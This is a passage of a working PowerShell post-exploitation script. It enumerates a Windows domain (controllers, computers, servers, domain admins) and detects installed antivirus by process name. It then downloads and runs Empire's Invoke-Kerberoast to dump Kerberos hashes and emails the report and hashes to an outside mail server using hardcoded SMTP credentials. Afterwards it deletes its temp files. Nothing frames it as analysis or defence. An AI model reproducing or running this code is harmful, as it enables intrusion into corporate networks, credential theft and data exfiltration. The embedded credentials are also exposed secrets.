11631# the WTSEnumerateSessionsEx result structure
11632$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{
11633 ExecEnvId = field 0 UInt32
11634 State = field 1 $WTSConnectState
11635 SessionId = field 2 UInt32
11636 pSessionName = field 3 String -MarshalAs @('LPWStr')
11637 pHostName = field 4 String -MarshalAs @('LPWStr')
11638 pUserName = field 5 String -MarshalAs @('LPWStr')
11639 pDomainName = field 6 String -MarshalAs @('LPWStr')
11640 pFarmName = field 7 String -MarshalAs @('LPWStr')
11641}
11642
11643# the particular WTSQuerySessionInformation result structure
11644$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
11645 AddressFamily = field 0 UInt32
11646 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
11647}
11648
11649# the NetShareEnum result structure
11650$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{
11651 shi1_netname = field 0 String -MarshalAs @('LPWStr')
11652 shi1_type = field 1 UInt32
11653 shi1_remark = field 2 String -MarshalAs @('LPWStr')
11654}
11655
11656# the NetWkstaUserEnum result structure
11657$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{
11658 wkui1_username = field 0 String -MarshalAs @('LPWStr')
11659 wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr')
11660 wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr')
11661 wkui1_logon_server = field 3 String -MarshalAs @('LPWStr')
11662}
11663
11664# the NetSessionEnum result structure
11665$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{
11666 sesi10_cname = field 0 String -MarshalAs @('LPWStr')
11667 sesi10_username = field 1 String -MarshalAs @('LPWStr')
11668 sesi10_time = field 2 UInt32
11669 sesi10_idle_time = field 3 UInt32
11670}
11671
11672# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
11673$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
11674 SidTypeUser = 1
11675 SidTypeGroup = 2
11676 SidTypeDomain = 3
11677 SidTypeAlias = 4
11678 SidTypeWellKnownGroup = 5
11679 SidTypeDeletedAccount = 6
11680 SidTypeInvalid = 7
11681 SidTypeUnknown = 8
11682 SidTypeComputer = 9
11683}
11684
11685# the NetLocalGroupGetMembers result structure
11686$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
11687 lgrmi2_sid = field 0 IntPtr
11688 lgrmi2_sidusage = field 1 $SID_NAME_USE
11689 lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
11690}
11691
11692# enums used in DS_DOMAIN_TRUSTS
11693$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
11694 IN_FOREST = 1
11695 DIRECT_OUTBOUND = 2
11696 TREE_ROOT = 4
11697 PRIMARY = 8
11698 NATIVE_MODE = 16
11699 DIRECT_INBOUND = 32
11700} -Bitfield
11701$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
11702 DOWNLEVEL = 1
11703 UPLEVEL = 2
11704 MIT = 3
11705 DCE = 4
11706}
11707$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
11708 NON_TRANSITIVE = 1
11709 UPLEVEL_ONLY = 2
11710 FILTER_SIDS = 4
11711 FOREST_TRANSITIVE = 8
11712 CROSS_ORGANIZATION = 16
11713 WITHIN_FOREST = 32
11714 TREAT_AS_EXTERNAL = 64
11715}
11716
11717# the DsEnumerateDomainTrusts result structure
11718$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
11719 NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
11720 DnsDomainName = field 1 String -MarshalAs @('LPWStr')
11721 Flags = field 2 $DsDomainFlag
11722 ParentIndex = field 3 UInt32
11723 TrustType = field 4 $DsDomainTrustType
11724 TrustAttributes = field 5 $DsDomainTrustAttributes
11725 DomainSid = field 6 IntPtr
11726 DomainGuid = field 7 Guid
11727}
11728
11729$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
11730$Netapi32 = $Types['netapi32']
11731$Advapi32 = $Types['advapi32']
11732$Wtsapi32 = $Types['wtsapi32']
11733
11734$domain = Get-NetDomain
11735
11736$computers = Get-NetComputer | Measure-Object -Line
11737$computer_count = $computers.Lines
11738
11739$dc = Get-NetDomainController | Measure-Object -Line
11740$dc_count = $dc.Lines
11741
11742$adminRequest = Get-NetGroupMember "domain admins"
11743
11744$admins = "";
11745$adminRequest.MemberName | ForEach-Object { $admins += $_; $admins +=";"; }
11746
11747$software = "";
11748
11749$servers_count = Get-NetComputer -OperatingSystem *server* | Measure-Object -Line
11750
11751
11752
11753
11754Get-NetProcess | ForEach-Object { $temp = $_.ProcessName.ToLower();
11755 if(($temp.contains('avg'))){ if(-Not ($software.contains('AVG'))){ $software+="AVG;"; } }
11756 if(($temp.contains('ahnlab'))){ if(-Not ($software.contains('AhnLab'))){ $software+="AhnLab;"; } }
11757 if(($temp.contains('avast'))){ if(-Not($software.contains('Avast'))){ $software+="Avast;"; } }
11758 if(($temp.contains('avira'))){ if(-Not($software.contains('Avira'))){ $software+="Avira;";}; }
11759 if(($temp.contains('bitdefender'))){ if(-Not($software.contains('BitDefender'))){ $software+="BitDefender;";}; }
11760 if(($temp.contains('bullguard'))){ if(-Not($software.contains('BullGuard'))){ $software+="BullGuard;";}; }
11761 if(($temp.contains('comodo'))){ if(-Not($software.contains('Comodo'))){ $software+="Comodo;";}; }
11762 if(($temp.contains('drweb'))){ if(-Not($software.contains('DrWeb'))){ $software+="DrWeb;";}; }
11763 if(($temp.contains('emsisoft'))){ if(-Not($software.contains('Emsisoft'))){ $software+="Emsisoft;";}; }
11764 if(($temp.contains('eset'))){ if(-Not($software.contains('Eset'))){ $software+="Eset;";}; }
11765 if(($temp.contains('f-secure'))){ if(-Not($software.contains('F-secure'))){ $software+="F-secure;";}; }
11766 if(($temp.contains('fortinet'))){ if(-Not($software.contains('Fortinet'))){ $software+="Fortinet;";}; }
11767 if(($temp.contains('kaspersky'))){ if(-Not($software.contains('Kaspersky'))){ $software+="Kaspersky;";}; }
11768 if(($temp.contains('malwarebytes'))){ if(-Not($software.contains('Malwarebytes'))){ $software+="Malwarebytes;";}; }
11769 if(($temp.contains('mcafee'))){ if(-Not($software.contains('McAfee'))){ $software+="McAfee;";}; }
11770 if(($temp.contains('norton'))){ if(-Not($software.contains('Norton'))){ $software+="Norton;";}; }
11771 if(($temp.contains('panda'))){ if(-Not($software.contains('Panda'))){ $software+="Panda;";}; }
11772 if(($temp.contains('sophos'))){ if(-Not($software.contains('Sophos'))){ $software+="Sophos;";}; }
11773 if(($temp.contains('symantec'))){ if(-Not($software.contains('Symantec'))){ $software+="Symantec;";}; }
11774 if(($temp.contains('trend'))){ if(-Not($software.contains('Trend Micro'))){ $software+="Trend Micro;";}; }
11775 if(($temp.contains('webroot'))){ if(-Not($software.contains('AhnLab'))){ $software+="Webroot;";}; }
11776 if(($temp.contains('cylance'))){ if(-Not($software.contains('Cylance'))){ $software+="Cylance;";}; }
11777 if(($temp.contains('carbon'))){ if(-Not($software.contains('Carbon'))){ $software+="Carbon;";}; }
11778
11779
11780 }
11781
11782
11783$av = $software
11784
11785$header = "DC:"
11786$header += $dc_count;
11787$header += " PC:"
11788$header += $computer_count;
11789
11790$header += " SRV:"
11791$header += $servers_count.Lines
11792
11793$header += " DA:"
11794$header += $adminRequest.count;
11795
11796$header += " AV:"
11797if(($software.Length) -gt 2){ $header += "yes" }
11798else{ $header += "no" }
11799
11800
11801cmd /c "nslookup myip.opendns.com resolver1.opendns.com > C:\users\Public\test.txt"
11802Start-Sleep -s 15
11803
11804
11805
11806$finded_line = "";
11807foreach($line in Get-Content "C:\users\Public\test.txt") {
11808 if($line -match $regex){
11809 if($line -match "Address:"){$finded_line = $line.Substring(9) }
11810 }
11811}
11812
11813$ip = $finded_line
11814
11815
11816
11817
11818$body = "Full report`nIP: "
11819$body += $ip
11820$body += "`nDomain: "
11821$body += $domain
11822
11823$body += "`nSRV:"
11824$body += $servers_count.Lines
11825
11826$body += "`nPC: "
11827$body += $computer_count
11828$body += "`nDC: "
11829$body += $dc_count;
11830$body += "`nDomain Admins: "
11831$body += $admins;
11832$body += "`nAntivirus Software: ";
11833if(($software.Length) -gt 2){ $body += $av }
11834else{ $body += "No detected AV" }
11835
11836
11837Start-Sleep -s 5
11838IEX(new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1");Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII "C:\users\Public\hashes.kerberoast.kerberoast"
11839Start-Sleep -s 30
11840
11841$kerberoast = Get-Content "C:\users\Public\hashes.kerberoast" -Raw
11842
11843$body += "`nhash:"
11844$body += $kerberoast
11845
11846
11847$EmailFrom = "reply@winsblog.com"
11848
11849$username = "reply@winsblog.com"
11850$password = "Kv90Bn9YnI23uoc"
11851
11852$SMTPServer = "mail.winsblog.com"
11853$EmailTo = "reply@winsblog.com"
11854
11855
11856
11857Start-Sleep -s 5
11858
11859$EmailSubject = $header
11860
11861$emailMessage = New-Object System.Net.Mail.MailMessage
11862$emailMessage.From = $EmailFrom
11863$emailMessage.To.Add($EmailTo)
11864$emailMessage.Subject = $header
11865$emailMessage.IsBodyHtml = $false
11866$emailMessage.Body = $body
11867
11868$SMTPClient = New-Object System.Net.Mail.SmtpClient($SMTPServer, 587)
11869$SMTPClient.EnableSsl = $false
11870$SMTPClient.Credentials = New-Object System.Net.NetworkCredential($username,$password);
11871#$emailMessage.Attachments.Add($EmailAttachment)
11872$SMTPClient.Send($emailMessage)
11873
11874Remove-Item "C:\users\Public\hashes.kerberoast"
11875Remove-Item "C:\users\Public\test.txt"